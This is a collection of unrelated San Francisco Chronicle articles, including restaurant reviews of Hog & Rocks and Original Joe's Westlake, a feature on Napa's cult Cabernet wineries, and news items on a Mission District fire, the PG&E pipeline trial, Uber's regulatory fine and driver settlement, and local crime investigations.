The cavatelli Bolognese with sweetbreads ($24) had a sinus-clearing load of horseradish and a sandstorm of breadcrumbs, feeling like a dish deeply rooted in winter. It could have used a fresh note of herbs or some other distraction to reset the palate.

The pork chop ($32) looked like a relic from the Stone Age, and successfully walked the line between bar and restaurant; it was thick and as big as a billy club, served with smashed crisp potatoes, peas and spring onions with marinated raisins on top.

Desserts also play the extremes: Bread pudding ($8.50) was a homey example loaded with gooey dark chocolate, rum caramel and a big puff of whipped cream on top. Id come back just for that. Rhubarb cheesecake ($9) was a modern deconstructed version with a scoop of what wouldve been filling, made with house-made ricotta on an oversize white plate. On each side were dabs of rhubarb puree, ribbons of raw fruit, mint leaves and crumbles of graham cracker. The rhubarb came through loud and clear, but the crust didnt add much beyond a gritty texture.

Hog & Rocks seems to have found its place in the neighborhood, and Tumlin is settling in. He just needs to continue to experiment and figure out how better to blend these diverse elements into a cohesive menu.

Michael Bauer is The San Francisco Chronicles restaurant critic and editor at large. Find his blog at http://insidescoopsf.sfgate.com and his reviews on www.sfchronicle.com. Email: mbauer@sfchronicle.com Twitter: @michaelbauer1

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Hog & Rocks

Food:  

Service:   

Atmosphere:   

Prices: $$$

Noise: Four Bells
The re-envisioned Joes of Westlake, now called Original Joes Westlake, explains the spirit of its Daly City neighborhood better than a 50,000-word paper ever could.

Hanging in the entryway is a large black-and-white photo of Henry Doelger at the ribbon-cutting for the 1956 opening of the restaurant. In the early 1950s, he was considered one of the largest developers in the world and was at the height of his influence. Joes of Westlake was to be the community gathering place for his planned Westlake development of more than 6,500 homes.

Few restaurants are so woven into the fabric of a neighborhood. When it closed in 2014, the outcries were persistent, and during the two-year remodel, a week didnt pass without somebody emailing to inquire about the status of the restaurant.

The restaurant was purchased and restored by the Duggan family, who also own Original Joes in North Beach in San Francisco. It was a labor of love rather than financial incentive that fueled the redesign. Just about the only thing thats original is the footprint, with its large expanse of windows that overlook John Daly Boulevard near the Westlake Shopping Center that Doelger developed.

The interior of the restaurant feels like a midcentury masterpiece with its terrazzo floors, checkerboard slat wood ceiling and fireplaces in the lounge and two other dining rooms. Joes was one of the first full-fledged restaurants to have an open kitchen and dining counter, and that remains at the core of the design, with a back-lit Westlake sign above the action where the cooks serve more than 1,200 people a day.

The Duggan family, now led by brother-and-sister team John and Elena Duggan, has proved trustworthy in respecting the past. They pulled off a similar reconstruction when a fire forced the closure of Original Joes in San Franciscos Tenderloin neighborhood. Four years later they reopened the restaurant in the former Fior dItalia space in North Beach. With the help of Anthony Fish of Arcanum Architecture, who also conceived the Westlake remodel, they captured the essence of the original place while gently moving it into the 21st century so it doesnt feel like a theme park.

John Storey / Special to the Chronicle

Fish also worked magic at Westlake. An almost joyous camaraderie lifts the spirits of just about everyone when they walk through the porte cochere and into the curved restaurant lobby, even those who may wait two hours or more at prime time to nab one of the 300 seats. No reservations are taken.

As diners sit in the lounge  either to eat or wait for a table  they are placated with several flat screens showing sporting events and $7 cocktails, including the classic manhattan, martini or negroni. You feel like youve been accepted into the Rat Pack if only for an evening, and it makes you want to borrow one of the waiters tuxedos and bow tie to fully play the part.

Maintaining the integrity of the food is even more of a challenge, but the Duggans pull that off with the help of executive chef Sergio Santiago, who held that same position in San Francisco, and fellow chef Brenda Mora, who was formerly executive chef of Mastros in Newport Beach (Orange County). The menu may lack some of the finesse seen elsewhere in the Bay Area, but its the type of food thats familiar and comforting  gooey spinach artichoke dip ($9.95), bay shrimp Louie salad stacked high with shrimp ($15.95), and baked lasagna ($18.95) layered with house-made pasta and brightly flavored tomato sauce chunky with ground beef. In addition, prices are reasonable and portions are so generous many people go away with takeout boxes.

Menu selections  more than 75 strong  include starters, house specialties and a division by types of protein including veal, pasta and seafood. One box advertises roasted prime rib ($32.95), a generous inch-thick slab of meat served with about a pint of cream spinach and just as many mashed potatoes, all crowded onto an oval platter. The steak and chop category features a 14-ounce New York steak ($30.95) that would surpass what you find at many steak houses, plus you get a side.

John Storey/Special to the Chronicle

In modern restaurants small plates dominate; not so at Joes. Theres a great Caesar salad ($8.95); an Iceberg wedge ($10.95) distinguished by the smoky bacon, gratings of hard cooked eggs, tomatoes and crumbles of blue cheese; and minestrone soup ($4.50/$6.50) thick with vegetables and pasta.

Another favorite, Joes meatballs ($8), is doused in a sweet tomato sauce; the dish is so generously portioned it would be a main course at most restaurants.

Under house specialties theres an excellent pot roast ($16.95) with both natural juices and tomato-meat sauce, and liver and onions with strips of crisp-fried bacon ($23.95). This is the type of homey food youd be hard pressed to find at other restaurants.

Chicken features seven preparations such as piccata ($21.95), Parmigiano ($23.95), Marsala ($21.95) and broiled ($21.95). The choice of sides that come with all main courses includes well-executed fries, mixed vegetables, spaghetti and meat sauce, and the recommended ravioli, stuffed with cheese and thickly ladled with sauce.

Pasta, which includes nine selections, is nicely cooked, although on combinations like spaghetti with prawns ($23.95), the kitchen didnt add enough salt to the water so there was a disconnect between the pasta and the sauce. These missteps are minor and probably cant be avoided when putting out more than a thousand plates a day.

The veal piccata ($25.95)  one of a half dozen preparations of this meat  consisted of a half dozen thin slices, doused in lemon sauce and topped with about a half jar of capers. It may be excessive, but its the type of indulgence people love, especially when sopped up with warm, yeasty sourdough bread brought to the table at the start of the meal. Anyone who has been there a few times understands, and appreciates, these excesses.

Seafood, as you might expect, is the smallest category with only five choices but it includes one of the restaurants signatures: calamari steak Dore ($21.95). There are also golden fried prawns ($24.4), 10 shrimp served with classic cocktail sauce and tartar sauce that tastes like its been freshly made and whipped for lightness. Many people head for the charbroiled salmon with lemon sauce ($24.95), but my favorite is Joes filet of sole in a delicate egg batter.

If youre confused by the breadth of the menu, simply go with anything that starts with Joes, including the famous hamburger sandwich ($13.95) where the beef is laced with onions and served on a just-crisp sourdough roll.

Desserts are just as impressive in their generosity. We were pleasantly surprised with the golden color and tender crumb of Joes butter cake ($8), with a huge scoop of vanilla ice cream in the center and drizzles of chocolate sauce. It looks as if it would easily serve the table. Joes also does very good butterscotch pudding ($8) updated with salted caramel, and bombolini ($8), warm Italian doughnuts accompanied by both strawberry and chocolate sauces.

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John Storey/Special to the Chronicle

Another aspect that sets Joes apart is the caring and professional service, just as you would expect from a restaurant of this type where the staff is formally attired. Its as if the staff realizes its preserving a piece of history by not letting the experience sink to maudlin nostalgia.

The customers have also seemed to embrace that change. Few restaurants have such a diverse following: old-timers who weave their walkers through the gaggle of diners waiting for a seat; families who crowd into the generous tufted booths; and young couples who are there for date night. Its a restaurant that fulfills just about everyones expectations.

Im pleased to say that Joes is back  better and more popular than ever.

  

Original Joes Westlake

Food:   

Service:   

Atmosphere:    

Price: $$$

Noise: Three Bells

11 Glenwood Ave. (at John Daly Boulevard), Daly City; (650) 755-7400. Open daily 11 a.m.-11 p.m. Sunday-Thursday and until midnight Friday-Saturday. Full bar. No reservations. Credit cards accepted. Free lot.
Its a situation I never thought Id find myself in: Im the lone visitor at Harlan Estate, one of Napas most elite wineries. Perched on a divan in the tasting room  it feels like the fanciest living room Ive ever set foot in  I watch as estate director Don Weaver, gregarious and hospitable, opens three bottles of wine and pours them into glasses on the coffee table before me. He reclines on the sofa opposite mine, awaiting my reactions. There is no one else on the entire property; it feels as if my voice might echo.

If each glass contains a 6-ounce pour, I am sitting in front of $500 worth of liquid.

What would Harlan taste like? Its a wine with a myth, firmly in the history books as one of Napas most expensive, most sought-after, most critically acclaimed products. Its a wine I never expected to taste. But would I like it?

Harlans reputation is for big, lush Cabernets, which, depending on the crowd, can be praise or a gibe. In certain circles, the wines get a bad rap, dismissed as jammy, saccharine fruit bombs.

I pick up the 2012. A warm vintage. At first sniff, I might have called it as Syrah: It smells ripe and robust, like roasted meat and blackberry jam. I smell dry cinnamon spice, pencil lead. When I taste it, its enormous. Its power swells to all corners of the mouth, pierced by a firm frame of acid. The cinnamon returns on the palate  could that be a little too much oak? It flirts with excess, as if coyly considering and then rejecting it.

Next, the 2011, a notoriously cold and difficult year. I immediately recognize it as a very differently styled Cabernet than the 12. It brings fresh, damp forest floor; mint leaf. The texture remains rich, and the tannins are formidable, but its heft is cut by fresh flavors, luxuriating in Cabernets herbal side. It merely verges on power.

The two wines differences reflect their vintages. And the finesse of the 11 certainly challenges the fruit-bomb charge. I can see how some might find the 12 overblown, though I think it carries its power well. Its like foie gras: primally appealing to the taste buds, though far too rich to have at every meal, and too expensive for that anyway.

Gabrielle Lurie/Special to The Chronicle

Weaver acknowledges that many people assume Harlan wines are overripe and hedonistic. Our site is so inclined for ripening fruit that for a long time we were being rewarded for ripeness, whereas our real pursuit is harmony, he says. I wish more people could taste and see for themselves.

But few people ever will.

Fewer still will ever visit the Harlan estate, located at an unlisted address off the serpentine Oakville Grade, high up a winding road in a secluded hillside forest. The winery protrudes gloriously from this seclusion: a farmhouse made palatial, in the typical style of its architect Howard Backen.

At this elevation, facing east toward the valley floor, Harlan seems to reign over Napa like a moat-flanked castle on a hill. The 240-acre property wants nothing, perhaps not even people in it. It is complete: as design critic Stanley Abercrombie wrote of it, neither seeking nor needing crowds of new admirers.

Weavers wish, then, is undermined by this sacred-temple vibe. He cant have it both ways. The prince cannot be feared and loved.

Thats the paradox now confronting Napas cult wineries, a group of ultra-elite Cabernet producers that includes Harlan. Today, the mythic quality of these cult estates is running up against a wine culture that may no longer buy the hype. The castles on the hill remain. But has the crowd wandered?

Cult fever has existed in Napa for a long time. In the 1950s and 1960s, Stony Hill Chardonnay  which sold the 50 cases of its inaugural 1953 vintage at $21.69 per case (delivery included)  enjoyed a rabid following. If you were in the know, youd beg your way onto the mailing list. In the 1970s, wine lovers seeking Heitz Marthas Vineyard Cabernet ($35 a bottle in 1975) would form a line stretching down Highway 29 on release day.

Back then, the barrier to entry was more knowledge-based than financial: You just had to want the wine enough to haul yourself there. More like lining up early on a Saturday at Tartine Bakery. Less like joining a country club.

That changed in the 1980s, which marked a new era of trophy-wine hunting. There was Grace Family Vineyards, launched in 1983, and Dalla Valle, in 1986, both from wealthy newcomers to the valley, generating overflowing mailing lists for their ultra-tiny stockpiles. Grace especially benefited from the newly formed Napa Valley Wine Auction, where in 1985 a five-pack of its 81 Cabernet commanded $10,000. Suddenly Napa wines were not only desirable; they might even be collectible. A different group of consumers took note.

By 1988, Grace was $63. Opus One, a considerably larger project from Robert Mondavi and Bordeauxs Baron Philippe de Rothschild, was $62. Dalla Valle launched its Maya bottling that year at $45. At the time these numbers seemed astronomical for Napa. The unprecedented prices coincided with a new critical attention on California wine, a growing interest in wine worldwide and a dot-com boom in the Bay Area. Surely the convergence of all these forces was leading to something.

And it did. Within a six-month period over 1995 and 1996, five new wineries released their first vintages: Araujo, Bryant, Colgin, Harlan and Screaming Eagle. All were Napa Cabernet Sauvignon. All were grown on mid-slope hillsides, neither valley floor nor mountaintop. All were the visions of people who had made their money elsewhere (some with more staggering success than others). All were sold primarily by mailing list, not traditional distribution. And perhaps most notably, all were made in extremely low quantities and released at audaciously high prices for the time, from $36 (Bryant) to $65 (Harlan).

Had they schemed together? No. But they all benefited from their mutual association. Something particular, specific, was fomenting: Cult wine. The term is often used indiscriminately, but in the contemporary wine canon, it refers specifically to this group of Napa Cabernet producers.

They all came out of the chute at the same time and took a new approach to making wine, says James Laube, Wine Spectators chief California critic. There was a sameness to their style. The richness, the power, the body, the finesse.

(Many people told me that Laube coined the term cult wine. He shrugs this off: I remember using it, but I cant say I came up with it.)

This was the revolution. It wasnt just any new style of wine; it was a definition of what California could be.

Suddenly they werent just imitating Bordeaux, says Paul Roberts, now Colgins chief operating officer. They were still Cab, but they had different textures, aromatics. And they were delicious young.

It was super exciting at the time to see a whole new category, says Rajat Parr, who was then a sommelier at Rubicon. Everyone was talking about them. People would come into the restaurant because they heard we had Screaming Eagle.

Breaking away from a European paradigm  which holds that serious red wine should be hard, tannic, uninviting in its youth  the cults repositioned ripeness as a virtue. They appealed to a quintessentially American desire for near-term gratification. Who wants to wait 20 years to open a bottle anyway? We knew our site was going to give us physically ripe fruit and not sacrifice tannins or structure, Weaver says. Thats the advantage of the Napa Valley climate. We followed the mandate of our vineyard.

They also followed the mandates of a finite set of influential players. Theres remarkable overlap in the consultants and winemakers who have had a hand in these wines: David Abreu (Araujo, Bryant, Colgin, Grace, Harlan, Screaming Eagle), Michel Rolland (Araujo, Bryant, Dalla Valle, Harlan, Screaming Eagle), Heidi Peterson Barrett (Dalla Valle, Grace, Screaming Eagle), Helen Turley (Bryant, Colgin). Their imprints are at the helm of the cults wineries ripeness revolution  and are responsible for many of the wineries similarities.

The minute production levels were another important departure from Bordeaux practices. Compare first-growth Chateau Margauxs 10,000-17,000 case production of its grand vin to Screaming Eagles total production of 500-900 cases. Bryant makes 750 on average.

Gabrielle Lurie/Special to The Chronicle

Why make so little? Maybe your vineyard is small. (Bryants is just 12.5 acres.) But the cults also managed to position low yields as a hallmark of higher-quality wines  a key element of the viticulture regimen associated with consultant Rolland. The fewer grapes on the vine, the theory holds, the better the wines will be.

The resulting scarcity of wine turned out to work beautifully to the cults advantage. After all, people want what they cant have. Its almost like the cult was the consumer, not the producer, Weaver says. It became a sport to get on the lists. The prices ballooned, but money couldnt buy them. Suddenly they were showing up on the secondary market, flipped at auction by mailing-list customers who could earn several times over the price they paid to the winery. When you saw these $50 wines getting sold at auction for $750, Laube describes, that prompted some of the wineries to raise their prices, to cut down on profiteering.

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I look at the secondary market, and right now its about $1,000 for Screaming Eagle, says that winerys general manager, Armand de Maigret. That means that people who receive Screaming Eagle have a gift from us. In fact, at a Wallys Wine Auctions sale in November, a three-bottle lot of 2012 Screaming Eagle Cabernet sold for $6,100, or $2,033 per bottle; its release price from the winery was $850.

Have these wines transformed from beverage to currency? At what point does wine stop being wine? Weaver remembers when, around the year 2000, the Harlan mailing list shifted noticeably from doctors and lawyers to investment bankers and traders. Thats when the list wasnt just avid followers anymore, but people interested in speculating, he says. They could see the exponential value.

And thats how cult fever broke.

Sometime around the mid-2000s, the sommelier community started losing interest, Parr recalls. The cult wines became too expensive. They are fantastic wines, and for a collector they are totally worth it. But they are inaccessible to a normal person.

At the same time, other regions of California had begun to generate buzz. Pinot Noir happened. Low alcohol wines came into vogue. Ripe became a dirty word. The cults, with their mailing lists secure and their prices continuing to mount, were no longer the hot, new, exciting things.

Craig Lee/SFC

And what are the cults today, in an age that champions populism and transparency? Now, these wineries have become easy targets for stone-throwing, representing to some people everything that's wrong with Napa.

As a result, the cults have gotten defensive. "I wish people would stop being jealous," Armand de Maigret tells me over the phone one morning. "Before I started at Screaming Eagle, I worked at wineries that were trying to emulate Screaming Eagle, and I was truly jealous. I had had Screaming Eagle only once. The wine was just beautiful, incredibly beautiful. And I bashed it. Why? Because I was jealous."

Its easy, too, to feel suspicious of the secrecy that Screaming Eagle appears to foster. When I first reached out, de Maigret said he would host me at the winery but requested that my visit be off the record. (He later relented to an on-record phone interview.) Given the winerys notoriously press-averse policy, I almost felt surprised during my visit when winemaker Nick Gislason opened a number of bottles for me to try.

I found the Screaming Eagle Cabernets to have an aromatic expression that Id describe as feminine  delicate, floral, lifted. The 2013 oozes with blue fruit; the 2014 smells just as freshly juicy, but is distinguished by darker-fruited cassis. Despite all that succulent fruit, structurally the wines are muscular, chewy, with assertive tannins and marked by plenty of savory character. I admired how they seemed to unfold from an elegant exterior to an edgier interior. As with Harlan, tasting the Screaming Eagle wines seemed to complicate the cult-wine fruit-bomb caricature. (The best wines I tasted at Screaming Eagle, by the way, were Merlot.)

Perhaps its too easy to hate these wines. And rejecting them categorically would be a mistake. For they are damn good  and not all the same. Take Colgin, which is marked by a distinctive sylvan element. The recent vintages of Colgin IX Estate brim with sage, cedar, graphite, licorice, evoking irresistible comparisons to the verdant slopes and sweet-smelling air of Pritchard Hill, where theyre grown. Colgins are big wines, but they maintain freshness, with a refined tannin structure.

The truth is, youd have to be an ascetic to dislike them. Who doesnt love the taste of fruit? They are made in a powerful style, but are well-made in that style.

Dont be jealous, de Maigret repeats. Dont hate us because youve never tasted the wine.

But of course, almost no one can taste the wine.

And thats a shame, I think to myself as I drive away from Harlan. Because not only do these wines give pleasure, but I believe theyre important. Id venture you cant understand the arc of Napa Valley wine  indeed, of California wine  without understanding the cults.

Gabrielle Lurie/Special to The Chronicle

My tasting with Weaver, all alone in that grand, cavernous estate, helped me see something Id never seen before. This was what got everyone so excited in 1996. This is what all the austere, lean wines I keep tasting today  wines more aligned with my budget, and more in vogue with my friends  are reacting against. All those years ago, wines like Harlan had been the proof that California was capable not only of greatness, but also of prestige. And theyd proven that its greatness is distinct from Bordeauxs: sun-kissed ripeness, plush generosity, youthful charm  all true, resonant expressions of sunny, hedonistic California.

But driving down the shady path toward the Oakville Grade, I still feel shocked by the emptiness of Harlan Estate. Few people will ever even see the winery from the road, let alone enter the property. The beauty of the wines has stayed with me, but I have to wonder whether, in this elaborately secluded forest, they can make a sound if nobody else is around to hear it.
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At least a dozen people were displaced and two firefighters were injured Friday after the second major blaze in the Mission District in two days scorched a three-unit apartment building.

Around 9:30 a.m., fire crews responded to 145 San Jose Ave., near 24th Street. Flames spread quickly up the back of the four-story wood-frame building, said Jonathan Baxter, a spokesman for the Fire Department. The fire was contained by 10:20 a.m., but not before at least two of the units suffered significant damage.

Monq Wellington, 33, who lives on the second floor, was in his front room when someone knocked on the door. Wellington ran to the back room and was confronted with a wall of smoke.

The smoke was too thick to see anything, he said as he stood on the front stoop of an apartment across the street.

The fire seemed to have originated on the first floor, Wellington said, but everyone got out safely, including a cat named Socks who was wrapped in a blanket recuperating.

Two firefighters suffered minor injuries, though, one a cut hand and the other a bloody nose. Both were treated at the scene, Baxter said.

The 12 residents of the burned building were likely to be displaced, and it was not immediately clear if another nine people from a building to the north would be allowed to return to their residences. The Red Cross was helping victims, Baxter said.

Roommates Anna Starostinetskaya and Kim Anderson, who live on the middle floor of the building, were both at work when they learned of the fire.

By 1 p.m., with a steady rain falling, they were standing on 24th Street by the 76 gas station, where firefighters had deposited a heaping pile of half-charred and thoroughly soaked possessions from the building. There were a partially melted mountain bike frame, a doll with pigtails, an oil painting and books like Idiots Guide To Genealogy.

Starostinetskaya, an author of travel books, was resigned to the probability that her MacBook was destroyed, along with a prized llama trinket a best friend brought from Peru and back-order copies of the four books she has written, including Off Track Planets Travel Guide For The Young, Sexy, and Broke. She was particularly worried about the phone charger that powers her decade-old Samsung flip phone.

Im concerned I wont be able to talk to my dad, she said.

The roommates said they planned to stay temporarily with friends  and were just starting to digest their plight. Finding a new place in the citys trendiest neighborhood, they said, wouldnt be easy.

You keep a Mission apartment  if you can, Starostinetskaya said.

She looked around at her local taqueria, Papalote, and her beloved go-to corner store, Valencia Farmers Market. A few minutes later Papalote manager Crystal Servey walked out to the Red Cross tent carrying a box with 50 half-burritos to feed to volunteers, firefighters and burned-out tenants.

My boss is a very generous man, said Servey. He thinks the least he can do is to bring these poor people some burritos.

On Thursday, a blaze damaged two buildings on 17th Street near Guerrero Street before it was brought under control. Investigators said there is no reason to suspect that the two fires, which are under investigation, are linked.

It doesnt take much for a wood-frame building to be involved in a fire, said city Battalion Chief Tom Siragusa.

Steve Rubenstein and Kale Williams are San Francisco Chronicle staff writers. Email: srubenstein@sfchronicle.com , kwilliams@sfchronicle.com Twitter: @SteveRubeSF, @sfkale
Shirdi (Maharashtra): An unidentified devotee has donated a diamond pendant worth Rs 90 lakh to the Saibaba temple here.

It had been left in the donation box sometime last financial year. Presently valuation of the jewellery and other valuables donated by devotees in the last fiscal is underway.

Executive officer of the temple trust, Bajirao Shinde, said the pendant has two diamonds, one of 6.67 carats and another of 1.5 carats.

Valuers engaged by the trust estimated its value to be around Rs 90 lakh.
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A federal judge on Thursday postponed next weeks scheduled trial of Pacific Gas and Electric Co. on criminal charges of violating pipeline safety laws, a delay sought by PG&E to review stacks of evidence newly supplied by prosecutors.

U.S. District Judge Thelton Henderson did not set a new date for the trial, which had been scheduled to start Tuesday, but told opposing lawyers to report back to him in a week. Attorney Kate Dyer said the companys legal team would need seven weeks to properly assess the evidence because it is voluminous and cuts to the heart of PG&Es defense.

The prosecution stems from investigations of the September 2010 explosion and fire at a PG&E gas pipeline in San Bruno, which killed eight people and destroyed 38 homes.

PG&E was charged in 2014 with 12 violations of federal laws that require operators of gas pipelines to maintain accurate records, identify risks to lines and inspect or test when pipe pressures exceed the legal maximum. The company was also charged with obstructing justice by denying  falsely, according to prosecutors  that it had a policy of testing older lines for welding problems only if pipeline pressure exceeded the federal maximum level by 10 percent.

The company faces fines of up to $500 million if convicted of all charges. It has already been fined $1.6 billion by the state Public Utilities Commission for the San Bruno explosion.

No PG&E executives have been charged with crimes. For the company, a criminal conviction could be significant because of the stigma it carries, financial penalties that can be imposed without proof of additional harm caused, and the authority of the sentencing judge to require government monitoring or managerial changes.

Dyer told Henderson that federal prosecutors, under long-standing court orders to disclose all pertinent evidence to PG&E, have only recently provided 110,000 pages of documents. She said some of them appeared to relate to one of the defense arguments in the case, the ambiguity of regulations that PG&E is accused of violating.

Assistant U.S. Attorney Hallie Hoffman countered that prosecutors had provided most of the significant evidence soon after the charges were filed and that the newly disclosed documents were only a modest addition. But Henderson, while not stating reasons for the postponement, indicated that PG&E should have more time to study the material.

Hoffman also said prosecutors would need about 3 weeks to present their case.

Bob Egelko is a San Francisco Chronicle staff writer. Email: begelko@sfchronicle.com Twitter: @egelko
HARRISBURG, Pa.  Pennsylvania regulators fined Uber $11.4 million on Thursday  a record for the utility commission  for operating for six months in 2014 without the required approval. The San Francisco company said it would appeal.

The Public Utility Commission, which also regulates buses and taxis, voted 3-2 for a penalty that was considerably lower than the $50 million fine recommended by a pair of administrative law judges in November.

Commissioners who voted for it justified the lower amount because they said the ride-hailing company has modified its practices to comply with state rules and has not generated many consumer complaints while operating under emergency and experimental authority.

Uber Technologies Inc. drew criticism from the judges last year for continuing to operate a month after being issued a cease-and-desist order and for what were described as obstructive actions during the investigation. Commissioners John Coleman and Gladys Brown said the companys actions warranted punishment.

It must be recognized that Uber has deliberately engaged in the most unprecedented series of willful violations of commission orders and regulations in the history of this agency, they said in proposing the smaller fine. A record number of proven violations should be expected to result in a record-setting fine.

The two commissioners who voted no said the fine was excessive compared to the commissions past actions. Its previous record fine was $1.8 million over an electric generation suppliers handling of a guaranteed savings plan for customers.

Uber spokesman Jason Post said the company was shocked by the fine amount, adding Ubers actions did not harm anyone and the commission subsequently approved the same operations.

Other cases with large fines, said commissioner Pamela Witmer, involved incidents of serious bodily injury, fatalities, significant property damage and/or patterns of unsafe business practices that jeopardized public safety. She called for a more measured and reasonable outcome.

Commissioner Robert Powelson, the other no vote, said he would have preferred a $2.5 million fine.

When Uber launched its operations in Pennsylvania, they were operating in a legally gray area, Powelson said. The commission should take this into account.

The two judges wrote in November that Uber had argued it was providing needed alternatives, it used a broker license held by a subsidiary and there was no proof that harm occurred.

Uber was fined more than $7 million in January for failing to provide sufficient information to California regulators.
Uber drivers will remain independent contractors and receive up to $100 million under a settlement announced late Thursday of class-action lawsuits pending in California and Massachusetts.

As part of the agreement, the company that connects passengers and drivers is now specifying how it decides to deactivate or terminate drivers and will give them more recourse to appeal being let go.

The drivers had sought to be reclassified as employees  something that Uber said would devastate its business model and hurt drivers flexibility to set their own schedules.

Uber is the most public face of the burgeoning new gig economy in which online marketplaces connect workers with customers for services such as rides, cleaning or errands. The rise of the sector has triggered a national discussion about whether gig workers should be entitled to the rights and benefits of employees. By putting the case behind it, Uber is free to concentrate on its global expansion and preparations for a public stock offering.

In fact, a Wall Street debut was part of the settlement deal. Uber will pay drivers $84 million now. Within a year of Uber going public or getting sold, if its value increases by 50 percent over its current $63.5 billion, it will pay the drivers another $16 million.

It was smart of Uber to settle, and I think Uber got a good deal, said Steven Davidoff Solomon, a law professor and co-director of the UC Berkeley Center for Law, Business and the Economy. Its not a gangbuster win for the plaintiffs, but they do get some benefits. He noted that about a third of the settlement amount will go to attorney fees.

In an an unusually restrained blog post titled Growing and growing up, Uber CEO Travis Kalanick wrote, As Uber has grown  over 450,000 drivers use the app each month here in the U.S.  we havent always done a good job working with drivers.

For example, we dont have a policy explaining when and how we bar drivers from using the app, or a process to appeal these decisions. At our size thats not good enough. Its time to change.

Drivers had complained that deactivations sometimes seemed arbitrary and were linked to how many rides they accepted  a factor that should have been under their control if they were truly independent contractors. Uber said it would no longer deactivate drivers for declining trip requests, but may alert them if they have low acceptance rates and then sometimes log them out of the app for a limited time. A new peer review process will let drivers appeal deactivations to other drivers.

Uber will also fund drivers in the two states to create peer-led associations that can raise drivers concerns with Uber management on a quarterly basis. Another bone of contention for drivers is that Uber leads passengers to believe that tips are included in their fares. Uber will now make clear that thats not the case and drivers will be permitted to put signs in their cars saying that tips are not included, they are not required, but they would be appreciated.

We believe the settlement ... provides significant benefits  both monetary and non-monetary  that will improve the work lives of the drivers and justifies this compromise result, said Shannon Liss-Riordan, the attorney for the drivers, in a statement. A jury trial with an eventual appeal to the U.S. Supreme Court likely was a risk that she chose not to take, she said.

The California case, OConnor vs. Uber Technologies, was set to go before a jury in San Francisco federal court in June. The Massachusetts case is Yucesoy vs. Uber Technologies. Together, the two cases covered some 385,000 drivers who had ever worked for Uber in either state. The money will be allocated based on how much drivers worked.

Drivers who put in the most time behind the wheel, driving more than 25,000 miles since Ubers start, could receive $8,000 on average, Liss-Riordan said.

U.S. District Judge Edward Chen must approve the agreement. A similar settlement between Lyft and about 100,000 California drivers for $12.25 million was rejected by U.S. District Judge Vince Chhabria on the basis that the amount shortchanged the drivers.

The settlement doesnt carry any weight of a legal precedent and may not end the ongoing controversy about gig workers status. It doesnt settle the issue of contractors or employees, Davidoff Solomon said.

However, it may be settled for Uber. Uber now has learned how to restructure its arbitration agreements to thwart class-action cases, he said.

Carolyn Said is a San Francisco Chronicle staff writer. Email: csaid@sfchronicle.com

Twitter: @csaid
The body of a 47-year-old East Richmond Heights woman reported missing last week was found in a shallow grave, and police announced Thursday they have arrested one man in connection to the murder and are looking for another suspect.

Kimberly Hoglund was found in a shallow grave outside of a home on Appian Way in El Sobrante on Tuesday, officials in the Contra Costa County Sheriffs Office said. Hoglund was last seen March 28, and police say she died shortly after her disappearance. Her family reported her missing April 12.
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The San Francisco Police Department must submit public reports twice a year documenting the agencys collection and analysis of rape kits, according to a resolution passed by the Police Commission.

Under the resolution, passed unanimously Wednesday night, police will be held to deadlines recommended by the state Sexual Assault Victims Bill of Rights, which calls for law enforcement agencies to submit forensic evidence to a crime lab within five days of collecting it and for the crime lab to finish processing and uploading the evidence to national crime databases within 120 days of receiving it.

The resolution came after the police force was criticized for a backlog of unprocessed rape kits. The civilian Office of Citizen Complaints, responding to a complaint made by a sexual assault victim, recommended the reforms after investigators found that the victim had received no follow-up on the results of her rape kit for almost two years.

The resolution is a way to give more transparency and to look through and make sure there is compliance with the deadlines and make sure the victims are notified, said Samara Marion, a policy attorney with the Office of Citizen Complaints who helped draft the resolution.

Under the shift, the police chief will be required to submit and post reports on the departments website in the first and third quarter of each year containing breakdowns of rape kits tested by the departments forensic services division.

Rape kits are the compiled evidence taken from victims. Hospital staff collect evidence such as the victims blood, fingernail clippings, hair, urine and swabs from the mouth, genitals and anus, with the hope that crime lab analysts can find a DNA profile of the assailant and spur an arrest.

The Police Department announced in 2014 that the forensic services division had cleared a backlog of kits that could still be prosecuted under the states 10-year statute of limitations on sexual assault cases. But in January, a woman filed a federal civil rights lawsuit against police, saying she had not received the results of her rape kit six years after she reported her assault.

Police said in 2015 that there were an additional 437 untested kits, collected from before 2003 and thus beyond the statute of limitations. Chief Greg Suhr said the department would finish going through those kits by the end of 2015.

The first report on rape kits is to be submitted in July.

Vivian Ho is a San Francisco Chronicle staff writer. Email: vho@sfchronicle.com Twitter: @VivianHo
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A mysterious plank of plywood could hold the key to solving the killing of a Best Buy clerk and the disappearance of her 2-year-old daughter, San Francisco police said Thursday.

The plank of wood, adorned with an unidentified symbol in gray spray paint, was found covering the shallow grave in John McLaren Park where the body of Nicole Fitts, 32, was discovered by a park worker on April 8, a week after she disappeared.

Detectives said she vanished after riding a Muni bus to meet someone she knew. Her daughter, Arianna, has not been seen since the middle of February, according to police Cmdr. Greg McEachern.

Someone out there knows where (Arianna) is, McEachern said. Someone out there has information. We are pleading with you to contact us.

The 4-foot-long plank of wood, McEachern said, had stumped investigators. They said they did not believe it had been nearby in the park before the body was found but had been brought to the site for the purpose of covering Fitts body. The design on the plank seemed to be a hastily painted rectangular symbol with a cone inscribed inside.

We hope someone may recognize the symbol, McEachern said. The plywood had been used to disguise the body.

Shallow grave

The plank had been placed over Fitts body, which was found in a fetal position in a 3-foot-wide shallow hole among ivy and brush near a park playground at Woosley and University streets. McEachern did not say how Fitts died or how long her body was believed to have been in the hole before it was found.

The toddler is considered at risk because of her age and because her mother was a homicide victim, police said.

McEachern said search warrants have been executed in Oakland, Daly City and Emeryville but would not say who or what had been searched.

Friends and family described the slain woman as cheerful and pleasant, and her daughter as lively, curious and fond of lollipops.

Police interviews

McEachern said that police had interviewed an unspecified number of people in connection with the disappearance and that some had been cooperative and others had not. He declined to elaborate. There have been no arrests.

The slain womans sister, Contessa Fitts, of Santa Cruz, said police have told her little but that she was satisfied that the cops are doing everything they can.

FBI agents have been assisting police in the search for Arianna.

Meanwhile, two of Fitts co-workers at the Best Buy electronics store on Harrison Street on the edge of the Mission District passed out missing person flyers with Ariannas photo.

She needs to be home, said Fitts co-worker and friend, Nia Ripley, while sobbing and wiping away tears. Somebody needs to care for her. Shes a beautiful little girl.

Steve Rubenstein is a San Francisco Chronicle staff writer. Email: srubenstein@sfchronicle.com Twitter: @SteveRubeSF
ABC's LGBT-centric miniseries When We Rise, from the Oscar-nominated Milk team of screenwriter Dustin Lance Black and director Gus Van Sant, has announced an open casting call ahead of shooting in San Francisco later this month.

